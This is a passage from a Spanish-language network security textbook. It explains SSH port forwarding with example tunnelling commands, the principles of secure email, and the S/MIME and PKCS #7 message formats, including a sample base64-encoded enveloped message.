podrían utilizarla para generar mensajes de autenticación con la identidad

de otro usuario.

Finalmente, igual que pasa con SSL/TLS, el protocolo SSH está diseñado para

ofrecer determinadas protecciones, pero el nivel de seguridad que proporcione
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en cada caso vendrá dado por las implementaciones y por el uso que se haga

del mismo. Se recomienda que se puedan deshabilitar o restringir las carac-

terísticas (métodos de autenticación de usuario, redirección de puertos TCP,

etc.) que en un determinado entorno impliquen alguna vulnerabilidad o posi-

bilidad de abuso.

1.4. Aplicaciones que utilizan el protocolo SSH

Dado que el objetivo principal de SSH es permitir la ejecución remota de pro-

cesos al estilo de los programasrsh y rlogin , se pueden implementar, y de

hecho se han implementado, otros programas (por ejemplossh y slogin )

que hagan lo mismo, pero utilizando el protocolo SSH.

Los argumentos pueden ser los mismos: el nombre del servidor, “-l usuario ”

para especificar el nombre de usuario en el servidor, etc. Los programas tam-

bién pueden estar configurados para utilizar distintos métodos de autentica-

ción: el basado en los ficheros.rhosts y /etc/hosts.equiv funciona

como enrsh /rlogin , y el basado en contraseña funciona como enrlogin .

Si se utiliza autenticación del sistema cliente será preciso guardar su clave pri-

vada en algún lugar de acceso restringido. Y si la autenticación de usuario

está basada en su clave pública, la clave privada correspondiente se deberá

guardar protegida, normalmente cifrada con una clave simétrica derivada de

una contraseña o de unapassphrase.

La implementación original del programassh , en sus distinta versiones, ad-

mite argumentos de la forma “-L p1 : adr : p2” y “ -R p1 : adr : p2” para

especificar redirecciones TCP del puerto local (del cliente) o remoto (del servi-

dor)p1 , respectivamente, al puertop2 del ordenadoradr .

Ejemplos de redirección de puertos TCP con SSH

1) Desde un ordenador llamadocerca podemos hacer:

ssh -L 5555:srv.lejos.com:23 -l admin medio

Si nos autenticamos correctamente, habremos establecido una conexión interactiva
con el ordenadormedio como usuarioadmin , y además, cualquier conexión al
puerto 5555 decerca , como ésta:

telnet cerca 5555

estará redirigida al puerto 23 (TELNET) del ordenadorsrv.lejos.com (pasan-
do pormedio , y con el tramo entrecerca y medio protegido con SSH).

2) Ésta sería una forma de proteger una conexión a un servidor HTTP mediante un
túnel SSH, suponiendo que podamos autenticarnos ante este servidor:

ssh -L 5678:localhost:80 www.lejos.com

Un vez realizada esta operación, podemos introducir la direcciónhttp://localhost:5678/
en cualquier navegador web del ordenador local, y nos llevará automáticamente a
la direcciónhttp://www.lejos.com/ con una conexión cifrada (y si en es-
ta dirección existe una página HTML con referencias no absolutas a páginas del
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mismo servidor, estas otras páginas también nos llegarán a través de SSH).
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2. Correo electrónico seguro .

El correo electrónico es una de las aplicaciones más utilizadas en las redes de

computadores. En el caso de Internet, el protocolo sobre el que se sustenta

la transferencia de mensajes, el SMTP, fue publicado en el estándar RFC 821

en 1982. Como su nombre indica, la principal característica de este protocolo
SMTP

SMTP es la sigla de
Simple Mail Transfer
Protocol.

es su simplicidad. Esto ha permitido que el SMTP, junto con el estándar para

el formato de los mensajes (RFC 822) y la especificación MIME, sean la base

tecnológica de la gran mayoría de los sistemas de correo actuales.

MIME

MIME es la sigla de
Multipurpose Internet Mail
Extensions.

Esta gran virtud del SMTP, la simplicidad, es a su vez una fuente de muchos

problemas de seguridad, ya que a un atacante puede resultarle sorprendente-

mente fácil capturar mensajes o enviar mensajes falsos en nombre de otros.

En este apartado veremos algunas técnicas existentes para añadir seguridad al

servicio de correo electrónico.

Si consideramos el correo electrónico como un protocolo de la capa de apli-

cación, una posibilidad para proteger los mensajes de correo sería utilizar la

seguridad que pueden ofrecer las capas inferiores, como la de red o la de trans-

porte. Por ejemplo, con el protocolo SMTP se puede negociar el uso del trans-

porte seguro SSL/TLS, mediante un comando especial llamadoSTARTTLS

(RFC 2487).

Pero en la transferencia de los mensajes pueden intervenir distintos agentes

intermedios, y para realizar la comunicación segura de extremo a extremo

sería necesario proteger todos los enlaces o intentar hacer una conexión di-

recta entre el sistema del originador y los de los destinatarios. Por otro lado,

la naturalezastore-and-forward(almacenamiento y reenvío) del servicio de

correo electrónico implica que los mensajes sean vulnerables no sólo cuando

se transfieren de un nodo intermedio a otro, sino también mientras están alma-

cenados en estos nodos. Esto incluye el sistema de destino final: una vez el

mensaje ha llegado al buzón del usuario, su contenido puede ser inspeccionado

o modificado por terceros antes de que lo lea el destinatario legítimo, o incluso

después de que ya lo haya leído.
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.

Es por estos motivos que se han desarrollado métodos para proteger el

correo electrónico en el mismo nivel de aplicación, independientemente

del sistema de transporte utilizado. La idea es aplicar las funciones

criptográficas necesarias al mensaje antes de entregarlo a los agentes de

transferencia del servicio de correo, y éstos sólo deben hacerlo llegar a

su destino de forma habitual.

De este modo, por un lado, se puede aprovechar la infraestructura de correo

electrónico ya existente, sin necesidad de cambiar los servidores, etc., y por

otro, la protección es efectiva durante todo el proceso, incluso mientras el

mensaje esté almacenado en el buzón del destinatario.

La mayoría de los sistemas de correo electrónico seguro que se han propuesto

siguen este modelo de incorporar la seguridad dentro de los propios mensajes

sin modificar el protocolo de transferencia. Algunos de estos sistemas son:

• PEM (Privacy Enhanced Mail)

Fue uno de los primeros sistemas de correo seguro que se desarrollaron: la

primera versión se publicó en la especificación RFC 989. Estaba basado

directamente en el estándar RFC 822, y solamente contemplaba el envío

de mensajes de texto ASCII. Actualmente está en desuso, pero algunas de

las técnicas que usaba se continúan utilizando actualmente en los sistemas

más modernos.

• MOSS (MIME Object Security Services)

Fue la primera especificación que utilizó el formato MIME para representar

la información relacionada con la seguridad. Estaba basada en el sistema

PEM, y se publicó en el documento RFC 1848.

• PGP (Pretty Good Privacy)

Uno de los sistemas más populares para añadir confidencialidad y auten-

ticación, no sólo al correo electrónico sino a cualquier tipo de datos. En

muchos entornos es el estándarde factopara el intercambio seguro de in-

formación. Ha ido evolucionando y actualmente existen varias versiones,

que incluyen variantes como PGP/MIME, OpenPGP y GnuPG.

• S/MIME (Secure MIME)

Se trata de otro sistema que utiliza la tecnología MIME, en este caso basado

en la sintaxis definida por el estándar PKCS #7. También dispone de una

gran variedad de implementaciones disponibles.

En este apartado analizaremos algunos detalles de los sistemas S/MIME y

PGP, pero antes veremos las características generales del correo electrónico

seguro.
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2.1. Seguridad en el correo electrónico

Cuando se añaden servicios de seguridad al correo electrónico es preciso tener

en cuenta las siguientes consideraciones:

• En el correo electrónico la transmisión de mensajes se lleva a cabo de man-

era no interactiva, y por lo tanto no puede haber negociación de algoritmos

o intercambio de claves cuando se envía un mensaje. Esto significa que

posiblemente será necesario un paso adicional para obtener la clave re-

querida para comunicarse con un determinado corresponsal (consultar una

base de datos de claves públicas, pedir al usuario que envíe su clave, etc.).

Todos los sistemas de correo seguro deben prever algún mecanismo dedis-
tribución de claves.

• Una funcionalidad básica del correo electrónico es el envío de un mis-

mo mensaje amúltiples destinatarios. Con el correo seguro, si es pre-

ciso utilizar parámetros criptográficos distintos para cada destinatario, una

solución poco eficiente sería efectuar envíos separados. Pero si queremos

aprovechar las capacidades de los sistemas de correo existentes, debemos

utilizar una técnica que permita combinar en un solo mensaje toda la infor-

mación necesaria para que pueda ser procesada por cada uno de los desti-

natarios.

Los servicios que proporcionan los sistemas de correo electrónico seguro son

básicamente dos:
Otros servicios

Hay otros servicios que
no pueden ofrecer todos
los sistemas de correo
seguro: confidencialidad
del flujo de tráfico (que no
se sepa quién manda
mensajes a quién y
cuándo, y qué longitud
tienen), protección contra
negación de recepción
(que un usuario no pueda
decir que no ha recibido
un mensaje, o que un
tercero no pueda borrar
mensajes para que el
destinatario no los lea) o
contra ataques de
repetición de mensajes,
etc.

Confidencialidad. Mediante las técnicas de cifrado, se puede garantizar que

un mensaje sólo podrá ser leído por sus destinatarios legítimos.

Autenticación de mensaje.Los mensajes pueden incluir un código de auten-

ticación (un código MAC o una firma digital) para que los destinatarios puedan

verificar que han sido generados por el originador auténtico, y que nadie los

ha modificado o falsificado.

Cada uno de estos dos servicios puede basarse en técnicas criptográficas de

clave simétrica o de clave pública.

2.1.1. Confidencialidad

Para que un originadorA pueda enviar un mensaje cifrado a un destinatarioB,

es preciso que ambos hayan acordado el uso de una determinadaclave de
intercambio kAB. Esto se puede realizar con una comunicación segura “fuera

de línea” (por ejemplo, cara a cara), o bien con un mecanismo de distribución

de claves.

La clave de intercambiokAB puede ser una clave simétrica o una clave pública.
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Si es simétrica, se puede utilizar la misma en ambos sentidos de la comuni-

cación, deA a B y de B a A (kAB = kBA). El uso de claves de intercambio

simétricas estaba contemplado en el estándar PEM, pero hoy no es muy habi-

tual.

La situación más normal es que la clave de intercambio sea una clave pública,

y entonces las claves correspondientes a un destinatarioB son todas la misma:

k1B = k2B = k3B = . . . = kpubB
.

.

Para cifrar un mensaje de correo se utiliza siempre un algoritmo de

cifrado de clave simétrica, dado que los de clave pública son mucho

más costosos, especialmente si el mensaje es largo.

El método que se utiliza para enviar un mensaje cifrado es el llamadosobre
digital , que consiste en:

Sobre digital

El nombre de sobre digital
proviene de la analogía
con el correo tradicional:
un mensaje de correo
electrónico sin cifrar es
como una postal, cuyo
contenido puede leer todo
el mundo, mientras que
un mensaje cifrado de
esta forma es como una
carta con sobre, que sólo
puede abrir la persona
que figura como
destinatario.

1) Generar aleatoriamente una clave de cifrado simétricakS, distinta para cada

mensaje. Esta clavekS se llamaclave de cifrado de contenidoo bien, por

analogía con los protocolos de transporte,clave de sesión.

2) Cifrar el mensajeM con esta clave simétrica y obtenerC = E(kS,M).

3) Para cada destinatarioBy del mensaje, cifrar la clave de sesión con la clave

pública de este destinatario y obtenerKBy = E(kpubBy
,kS).

Mensajes a un único
destinatario

La técnica del sobre
digital se utiliza para los
mensajes dirigidos a
cualquier número de
destinatarios, que también
puede ser sólo uno.

4) Construir un nuevo mensaje añadiendo al mensaje cifradoC todas las claves

cifradasKBy.

5) Enviar a los destinatarios este mensaje (el mismo para todos).

Por lo tanto, si un mensaje confidencial se tiene que transmitir aN destinatar-

ios, no es necesario enviarN copias del mensaje cifradas con la clave de cada

uno de ellos. Se puede utilizar la misma copia para todos, con lo cual es

posible aprovechar los mecanismos ya existentes para enviar un mensaje a

múltiples destinatarios.
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.

E(kpubB1
,kS)

E(kpubB2
,kS)

...
E(kpubBN

,kS)

E(kS,M)

Mensaje con sobre digital

En la recepción, cada destinatarioBy deberá seleccionar laKBy correspondiente

a su clave pública, descifrarla con su clave privadakprivBy
para obtener la clave

de sesiónkS, y finalmente descifrarC con esta clave de sesión para recuperar

el mensajeM.

Listas de distribución de correo

Las listas de distribución de correo son un caso especial, porque el originador de un
mensaje puede no saber a qué destinatarios llegará. Una posibilidad es utilizar una
única clave de intercambio simétrica, conocida por todos los miembros de la lista (con
el problema que esto comporta de no garantizar la autenticidad). Otra posibilidad
consiste en que el agente que expande la lista reciba los mensajes cifrados con una
clave propia de la lista, y los reenvíe cifrados con las claves de cada destinatario.

2.1.2. Autenticación de mensaje

Para la autenticación de los mensajes también se pueden utilizar técnicas simétri-

cas o de clave pública.

Las técnicas simétricas consisten en añadir al mensaje un código MAC, calcu-

lado con una clave secreta compartida con el destinatario. Esto significa que

se debe calcular un código MAC distinto para cada destinatario, y además, que

no hay protección contra un posible repudio por parte del originador.

.
Por este motivo, los sistemas de correo seguro actuales utilizan las téc-

nicas de autenticación de clave pública, es decir, las firmas digitales.

La firma de un mensaje puede ser verificada por cualquier persona que lo reci-
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ba y conozca la clave pública del firmante, y hasta puede reenviar el mensaje

a otros usuarios, que también podrán comprobar su autenticidad. Y por otro

lado, las firmas proporcionan el servicio de no repudio.

2.1.3. Compatibilidad con los sistemas de correo no seguro

Si queremos utilizar la infraestructura SMTP existente para el correo seguro,

debemos tener presente que este protocolo impone ciertas restricciones para

intentar maximizar la interoperabilidad entre las implementaciones, incluidas

las más antiguas.

Algunas de estas restricciones son, por ejemplo, que en principio los mensajes

sólo pueden contener caracteres ASCII, y que las líneas de los mensajes no

pueden tener más de 1.000 caracteres. Actualmente muchos agentes SMTP

son capaces de trabajar sin estas restricciones pero de todas formas debemos

tenerlas en cuenta porque no sabemos por que implementaciones pueden pasar

nuestros mensajes.

Además, SMTP define una representación para los mensajes que puede ser

distinta de la representación local de cada sistema. El proceso que se encarga

de enviar los mensajes tiene que transformarlos del formato local al formato

SMTP en el momento de transferirlos. Y a la inversa, cuando llega un mensaje

vía SMTP normalmente se convierte al formato local antes de almacenarlo en

el buzón de los destinatarios.

Ejemplos de transformación a formato SMTP

Un ejemplo típico de transformación es el de los finales de línea: en SMTP se repre-
sentan con los caracteres <CR><LF>, mientras que en Unix se representan solamente
con <LF>.

Otro ejemplo: algunos lectores de correo en Unix, especialmente los más antiguos,
interpretan que en un buzón de mensajes la secuencia de caracteres “From ” al inicio
de línea indica el inicio de un nuevo mensaje. En estos sistemas, cuando llega un
mensaje que contiene esta secuencia al inicio de una línea, se añade automáticamente
el carácter “>” delante de la línea, (los lectores de correo más modernos utilizan el
campoContent-Length de la cabecera para saber dónde termina cada mensaje y
dónde empieza el siguiente).

.

Por lo tanto, cuando se deben aplicar operaciones criptográficas a un

mensaje, es preciso hacerlo sobre unacodificación canónicaque sea

convertible al formato local de forma no ambigua.

De este modo, si tenemos que mandar un mensaje confidencial, cifraremos

la forma canónica del mensaje para que cuando el receptor la descifre pueda

convertirla a su formato local. Y si tenemos que calcular un código de auten-

ticación o una firma, lo haremos también sobre la forma canónica, para que
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el receptor sepa exactamente a partir de qué datos se ha generado y pueda

realizar su verificación.

Cada sistema de correo seguro puede definir su codificación canónica. Por

ejemplo, los sistemas basados en MIME utilizan el modelo de la especificación

RFC 2049. En el correo multimedia las reglas de codificación dependen del

tipo de contenido, pero en el caso de mensajes de texto, por simplicidad, lo

más normal es que la codificación canónica coincida con el formato SMTP, es

decir, con caracteres ASCII y con líneas acabadas en <CR><LF>.

Por otra parte, existen agentes de correo que pueden introducir modificaciones

en los mensajes para adaptarlos a sus restricciones. Algunos ejemplos son:

poner a 0 el 8avo bit de cada carácter, cortar las líneas demasiado largas in-

sertando finales de línea, eliminar los espacios en blanco al final de línea,

convertir los tabuladores en secuencias de espacios, etc.

Dado que la información criptográfica constará en general de datos arbitra-
Codificación base 64

La codificación base 64
consiste en representar
cada grupo de 6 bits con
un carácter ASCII de un
juego de 64 (26 = 64),
formado por las letras, los
dígitos y los símbolos “+”
y “/ ”.

rios, debemos utilizar mecanismos de protección del contenido para garantizar

que ninguna de estas modificaciones afectará a los mensajes seguros. Éste es

el mismo problema que se planteó en el correo MIME para enviar contenidos

multimedia, y la solución consiste en utilizar unacodificación de transferen-
cia, como puede ser la codificación “base 64”.

2.2. S/MIME

S/MIME (Secure MIME) es una especificación de correo seguro basada en la

norma PKCS #7, que fue desarrollada inicialmente por RSA Data Security.

.
El sistema de correo S/MIME utiliza la técnica MIME para trasmitir

mensajes protegidos criptográficamente según el formato PKCS #7.

Uso de MIME en
S/MIME

Dado que se utiliza la
representación MIME,
S/MIME se puede integrar
con otros protocolos de
aplicación aparte del
correo electrónico que
también hacen uso de
MIME como, por ejemplo,
HTTP.

Durante los primeros años se elaboraron distintos borradores de la especifi-

cación S/MIME, que fueron adoptados por varios implementadores indepen-

dientes. Las versiones iniciales definían dos perfiles de uso: el normal, que no

era exportable fuera de los Estados Unidos, y el restringido, que imponía un

límite de 40 bits secretos en las claves simétricas. Por motivos de interopera-

bilidad, muchos de los sistemas S/MIME que se desarrollaron seguían el perfil

restringido.

En 1998 se publicaron los documentos informativos RFC 2311 y 2312, que

recogen las características comunes a la mayoría de implementaciones que
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existían entonces, en lo que se conoce como versión 2 de S/MIME. En esta
Uso de PKCS #7 en
S/MIME v2

En la versión 2 de S/MIME
se utiliza PKCS #7
versión 1.5 (RFC 2315).

versión ya no se hace distinción entre perfil normal o restringido.

Algoritmos previstos en S/MIME versión 2

La versión 2 de S/MIME prevé los siguientes algoritmos criptográficos:

• Para el cifrado simétrico: Triple DES y RC2.

• Para los resúmenes de mensajes (hash): MD5 y SHA-1.

• Para el cifrado de clave pública: RSA.

El estándar oficial de correo seguro S/MIME es la llamada versión 3, publi-

cada en los documentos RFC 2632–2634, de junio de 1999. Una diferencia

respecto a S/MIME versión 2 es que, en lugar de utilizar directamente el es-

tándar PKCS #7, se basa en el nuevo estándar CMS (RFC 2630). El CMS
CMS

CMS es la sigla de
Cryptographic Message
Syntax.

mantiene la compatibilidad con PKCS #7 pero incluye nuevos métodos para

el intercambio de claves, en particular el método Diffie-Hellman (descrito en

el RFC 2631).

La versión 3 está diseñada en general para ofrecer la máxima compatibilidad

posible con la versión 2. De todas formas, conviene saber que la versión 3

soporta nuevos servicios, conocidos como ESS, que incluyen:
ESS

ESS es la sigla de
Enhanced Security
Services.

• Recibos firmados.

• Etiquetas de seguridad, que dan información sobre el nivel de sensibili-

dad del contenido de un mensaje (según una clasificación definida por una

determinada política de seguridad).

• Listas de correo seguras.

• Certificados de firma, que permiten asociar directamente una firma con el

certificado necesario para validarla.

2.2.1. El formato PKCS #7

.

PKCS #7 es un formato para representar mensajes protegidos criptográ-

ficamente. Cuando la protección está basada en criptografía de clave

pública, en PKCS #7 se utilizan certificados X.509 para garantizar la

autenticidad de las claves.

La norma PKCS #7 define unas estructuras de datos para representar cada uno

de los campos que forman parte de un mensaje. A la hora de intercambiar

estos datos se deben codificar según las reglas especificadas por la notación

ASN.1 (la misma que se utiliza para representar los certificados X.509 y las

CRL).
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Ésta es la estructura general de un mensaje PKCS #7, descrita con la misma

notación que utilizamos para los certificados (“opc.” significa opcional y “rep.”

significa repetible):

.

Campo Tipo
contentType identificador único

content (opc.) Data ,

SignedData ,

EnvelopedData ,

SignedAndEnvelopedData ,

DigestedData ,

o EncryptedData

El campocontentType es un identificador que indica cuál de las seis es-

tructuras posibles hay en el campocontent . Estas estructuras son:

1) Data : sirve para representar datos literales, sin aplicarles ninguna protec-

ción criptográfica.

2) SignedData : representa datos firmados digitalmente.

3) EnvelopedData : representa un mensaje con sobre digital (es decir, un

mensaje cifrado simétricamente al que se añade la clave simétrica cifrada

con la clave pública de cada destinatario).

4) SignedAndEnvelopedData : representa datos firmados y “cerrados”

en un sobre digital.

5) DigestedData : representa datos a los cuales se les añade un resumen o

hash.

6) EncryptedData : representa datos cifrados con clave secreta.

El campocontent es opcional, porque en ciertos casos existe la posibilidad

de que los datos de un mensaje no estén dentro del propio mensaje, sino en

algún otro lugar.

De estos seis posibles tipos de contenido, los tres últimos no se utilizan en

S/MIME: para datos firmados y con sobre se utiliza una combinación de

SignedData y EnvelopedData , y los mensajes que sólo contienen datos

conhasho datos cifrados simétricamente no se envían nunca con correo elec-

trónico seguro.

Por lo tanto, los tipos de contenido PKCS #7 que puede haber en un mensaje

S/MIME sonData , SignedData o EnvelopedData .

1) El tipo Data
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.

Si el contenido PKCS #7 es de tipoData , no está estructurado de

ningún modo especial, sino que simplemente consiste en una secuen-

cia de bytes. Cuando se utiliza en S/MIME, su contenido debe ser

unaparte de mensaje MIME, con sus cabeceras y su cuerpo en forma

canónica.

El tipo Data no aparece nunca solo en un mensaje S/MIME, sino que

siempre se usa en combinación con alguno de los otros tipos PKCS #7, es

decir, conSignedData o conEnvelopedData .

2) El tipo SignedData

El tipo SignedData básicamente contiene datos, representados recursi-

vamente con otro mensaje PKCS #7, y la firma de estos datos generada por

uno o más firmantes. La estructura del contenido de tipoSignedData es

la siguiente:

Campo Tipo
version entero

digestAlgorithms (rep.)

algorithm identificador único

parameters (depende del algoritmo)

contentInfo mensaje PKCS #7

certificates (opc. rep.) certificado X.509

crls (opc. rep.) CRL

signerInfos (rep.)

version entero

issuerAndSerialNumber

issuer DN

serialNumber entero

digestAlgorithm

algorithm identificador único

parameters (depende del algoritmo)

authenticatedAttributes (opc. rep.) atributo X.501

digestEncryptionAlgorithm

algorithm identificador único

parameters (depende del algoritmo)

encryptedDigest cadena de bytes

unauthenticatedAttributes (opc. rep.) atributo X.501

El significado de cada campo es el siguiente:

• El campoversion indica la versión del formato de la estructura

Algoritmos de hash

El campo
digestAlgorithms
aparece antes que los
datos para facilitar el
procesado de la
estructura SignedData
en un solo paso: sabiendo
cuáles son los algoritmos
de hash, a medida que se
leen los datos se pueden
ir calculando los
resúmenes.

SignedData .

• El campodigestAlgorithms es una lista de los algoritmos de re-

sumen ohashque han utilizado los firmantes para firmar los datos.

• El campocontentInfo contiene los datos que hay que firmar, rep-
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resentados en forma de mensaje PKCS #7. Este mensaje normalmente

será de tipoData (para firmar datos literales) o de tipoEnveloped-

Data (para firmar un mensaje confidencial).

• En el campocertificates hay certificados o cadenas de certifi-

cados que pueden ser útiles para verificar la autenticidad de las claves

públicas de los firmantes.

• En el campocrls aparece una lista de CRLs que se pueden usar jun-

tamente con los certificados del campo anterior.

• El camposignerInfos contiene una estructura para cada firmante,

con los siguientes subcampos:

– version indica la versión del formato de esta estructura.

– issuerAndSerialNumber sirve para saber cual es la clave pública

del firmante. En lugar de especificar directamente la clave, se da el nom-

bre de una CA y un número de serie de certificado. Estos datos iden-

tifican de forma única un certificado (una misma CA no puede generar

dos certificados con el mismo número de serie), y en este certificado,

que puede ser uno de los que hay en el campocertificates , debe

haber la clave pública del firmante.
Identificación de las
claves públicas

El método que usa
PKCS #7 para identificar
una clave pública, a partir
de un nombre de CA y un
número de serie, se
definió de esta forma por
compatibilidad con el
sistema de correo seguro
PEM.

– digestAlgorithm es el algoritmo dehashque ha usado este fir-

mante (tiene que ser uno de los que había en el campodigestAlgo-

rithms del principio).

– authenticatedAttributes es un conjunto de atributos que se

añaden a los datos sobre los cuales se calcula la firma.

– digestEncryptionAlgorithm es el algoritmo con el que el fir-

mante ha cifrado elhashpara calcular la firma.

– encryptedDigest es la firma, es decir, elhashcifrado con la clave

privada del firmante.

– unauthenticatedAttributes es un conjunto adicional de atri-

butos que no intervienen en la firma.

Como podemos ver, PKCS #7 permite que cada firmante añada atributos

a su firma, que pueden ser autenticados o no autenticados. Cada uno de

estos atributos sigue la estructura definida en la Recomendación X.501,

que simplemente consta de un nombre de atributo y de uno o más valores.

Cuando hay atributos autenticados, uno de ellos tiene que ser obligatori-

amente un atributo llamadomessageDigest , que tiene como valor el

hashdel campocontentInfo . En este caso, la firma se calcula a par-

tir del hashde todo el subcampoauthenticatedAttributes . De

este modo se puede comprobar la autenticidad de los datos del mensaje

(contentInfo ) y del resto de atributos autenticados.
Ejemplo de atributo
autenticado

Un ejemplo típico de
atributo autenticado es el
atributo signingTime ,
que indica cuándo se
generó la firma.

Cuando no hay atributos autenticados, la firma se calcula simplemente a

partir delhashdel campocontentInfo .
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3) El tipo EnvelopedData

El tipo EnvelopedData contiene datos con sobre digital. Los datos

corresponden recursivamente a otro mensaje PKCS #7. La estructura del

contenido de tipoEnvelopedData es la siguiente:

.

Campo Tipo
version entero

recipientInfos (rep.)

version entero

issuerAndSerialNumber

issuer DN

serialNumber entero

keyEncryptionAlgorithm

algorithm identificador único

parameters (depende del algoritmo)

encryptedKey cadena de bytes

encryptedContentInfo

contentType identificador único

contentEncryptionAlgorithm

algorithm identificador único

parameters (depende del algoritmo)

encryptedContent (opc.) cadena de bytes

El significado de cada campo es el siguiente:

• El campoversion indica la versión del formato de la estructuraEn-

velopedData .

• El camporecipientInfos contiene una estructura para cada desti-

natario del mensaje, con los siguientes subcampos:

– version indica la versión del formato de esta estructura.

– issuerAndSerialNumber sirve para saber a qué destinatario corres-

ponde esta estructura. Cada destinatario debe buscar entre los elementos

del camporecipientInfos el que tenga este subcampo igual a la

CA y el número de serie de su certificado.

– keyEncryptionAlgorithm indica con qué algoritmo de clave públi-

ca se ha cifrado la clave de sesión.

– encryptedKey es la clave de sesión cifrada con la clave pública de

este destinatario.

• En el campoencryptedContentInfo hay la información sobre los

datos cifrados, con los siguientes subcampos:

– contentType indica que tipo de mensaje PKCS #7 hay en los datos

cifrados: normalmente seráData (cuando se cifran datos literales) o
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SignedData (cuando se cifra un mensaje firmado).

– contentEncryptionAlgorithm es el algoritmo simétrico con el

que se han cifrado los datos (utilizando la clave de sesión).

– encryptedContent son los datos (es decir, un mensaje PKCS #7)

cifrados.

Como hemos visto, los contenidos de tipoSignedData y EnvelopedDa-

ta contienen recursivamente otros mensajes PKCS #7. La combinación que

se puede encontrar en un mensaje S/MIME será una de estas cuatro:

• SignedData [Data ] (mensaje con datos firmados).

• SignedData [EnvelopedData [Data ]] (mensaje con datos cifrados y

firmados).

• EnvelopedData [Data ] (mensaje con datos cifrados).

• EnvelopedData [SignedData [Data ]] (mensaje con datos firmados y

cifrados).

Podemos ver, por lo tanto, que si un mensaje se tiene que firmar y cifrar, se

pueden realizar las dos operaciones en cualquier orden, según interese. Por

ejemplo, firmar primero y cifrar después permite que el destinatario guarde el

mensaje descifrado para verificaciones posteriores, posiblemente por parte de

terceros. Cifrar primero y firmar después permite verificar la autenticidad de

un mensaje sin necesidad de descifrarlo.

2.2.2. Formato de los mensajes S/MIME

.

Un mensaje S/MIME es un mensaje MIME con las siguientes carac-

terísticas:

• Su tipo de contenido (campoContent-Type de la cabecera

MIME) es “application/pkcs7-mime ”.

• En su cuerpo hay una estructura PKCS #7 codificada según la no-

tación ASN.1.

Para los mensajes S/MIME que sólo estén firmados existe una representación

alternativa, llamadafirma en claro, que veremos más adelante.

Compatibilidad con versiones anteriores de S/MIME

Para los tipos de contenido, como “pkcs7-mime ” y otros que veremos a continua-
ción, las primeras versiones de S/MIME utilizaban nombres que empezaban por “x- ”.

En las versiones experimentales de algunos protocolos es habitual utilizar un prefijo
como éste para representar valores que aún no están estandarizados. Por compati-
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bilidad con estas versiones, las aplicaciones de correo S/MIME deberían tomar en
consideración los nombres antiguos equivalentes a los nombres sin prefijo, como por
ejemplo:

Nombre antiguo Nombre actual
x-pkcs7-mime pkcs7-mime
x-pkcs7-signature pkcs7-signature
x-pkcs10 pkcs10

La cabecera MIMEContent-Type , además del valor “application/

pkcs7-mime ”, debe tener al menos uno de estos dos parámetros:

• smime-type : indica el tipo de contenido PKCS #7 que hay en el cuerpo

del mensaje.

• name: indica un nombre del fichero asociado al contenido del mensaje.

Fichero asociado a un mensaje S/MIME

El parámetroname sirve para mantener la compatibilidad con las primeras versiones
de S/MIME, en las cuales no estaba definido el parámetrosmime-type . En estas
versiones, la especificación del tipo de contenido PKCS #7 se realizaba con la exten-
sión de un nombre de fichero. La parte del nombre que haya antes de la extensión es
indiferente, pero por convencionalmente suele ser “smime”.

Para especificar este nombre de fichero se puede utilizar el parámetroname de la
cabeceraContent-Type , y también el parámetrofilename de la cabecera MIME
Content-Disposition (definida en la especificación RFC 2183), con el valor de
esta cabecera igual a “attachment ”.

Además, dado que el cuerpo del mensaje son datos binarios (la representación

ASN.1 de una estructura PKCS #7), normalmente habrá una cabeceraContent-

Transfer-Encoding con valor “base64 ” para indicar que estos datos

están codificados en base 64.

Existen tres formatos básicos de mensajes S/MIME: los mensajes con sobre

digital, los mensajes firmados, y los mensajes firmados en claro.

1) Mensajes S/MIME con sobre digital

Un mensaje S/MIME con sobre digital tiene las siguientes características:
Mensajes firmados y
cifrados

El contenido
EnvelopedData que hay
en un mensaje S/MIME
con sobre digital puede
contener una estructura
SignedData : entonces
se trata de un mensaje
firmado y cifrado.

• En el cuerpo del mensaje hay una estructura PKCS #7 con tipo de con-

tenidoEnvelopedData .

• El valor del parámetrosmime-type es “enveloped-data ”.

• Si se especifica un nombre de fichero asociado, su extensión es.p7m

(por ejemplo, “smime.p7m ”).

Éste es un ejemplo de mensaje S/MIME con sobre digital:
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.

Date: Mon, 1 Mar 2004 11:46:10 +0100
From: usuario-1@uoc.edu
Subject: Ejemplo 1
To: usuario-2@uoc.edu
MIME-Version: 1.0
Content-Type: application/pkcs7-mime; smime-type=enveloped-data;

name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7m"

MIAGCSqGSIb3DQEHA6CAMIACAQAxgDBzAgEAMC8wKjELMAkGA1UEBhMCRVMxDDAKBgNVBAoT
A1VPQzENMAsGA1UEAxMEQ0EtMQIBBjANBgkqhkiG9w0BAQEFAAQuCYHs970aZmmqKTr3gemZ
LzHVtB266O/TrIv4shSvos8Ko8mUSQGov0JSIugmeDBzAgEAMC8wKjELMAkGA1UEBhMCRVMx
DDAKBgNVBAoTA1VPQzENMAsGA1UEAxMEQ0EtMQIBBzANBgkqhkiG9w0BAQEFAAQuC14oIhps
+mh8Wxp79A81uv2ltG3vt6J9UdJQcrDL92wD/jpw1IKpoR224LT4PQAAMIAGCSqGSIb3DQEH
ATARBgUrDgMCBwQIZbTj6XqCRkGggARAF8K8apgPtK7JPS1OaxfHMDXYTdEG92QXfAdTPetA
FGuPfxpJrQwX2omWuodVxP7PnWT2N5KwE1oc6faJY/zG0AAAAAAAAAAAAAA=

2) Mensajes S/MIME firmados

Un mensaje S/MIME firmado tiene un formato análogo al de los mensajes

con sobre digital. Sus características son:
Mensajes cifrados y
firmados

El contenido
SignedData que hay en
un mensaje S/MIME
firmado puede contener
una estructura
Enveloped : entonces se
trata de un mensaje
cifrado y firmado.

• En el cuerpo del mensaje hay una estructura PKCS #7 con tipo de con-

tenidoSignedData .

• El valor del parámetrosmime-type es “signed-data ”.

• Si se especifica un nombre de fichero asociado, su extensión es la mis-

ma que en los mensajes con sobre digital, es decir.p7m (por ejemplo,

“smime.p7m ”).

Este es un ejemplo de mensaje S/MIME firmado:

.

Date: Mon, 1 Mar 2004 11:47:25 +0100
From: usuario-1@uoc.edu
Subject: Ejemplo 2
To: usuario-2@uoc.edu
MIME-Version: 1.0
Content-Type: application/pkcs7-mime; smime-type=signed-data;

name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7m"
3) Mensajes S/MIME firmados en claro

Cuando se envía un mensaje firmado, los receptores que utilicen un lector

de correo apropiado podrán leer el mensaje y verificar la firma. Muchas ve-

ces interesa que el mensaje pueda ser leído por todos, aunque no se dispon-

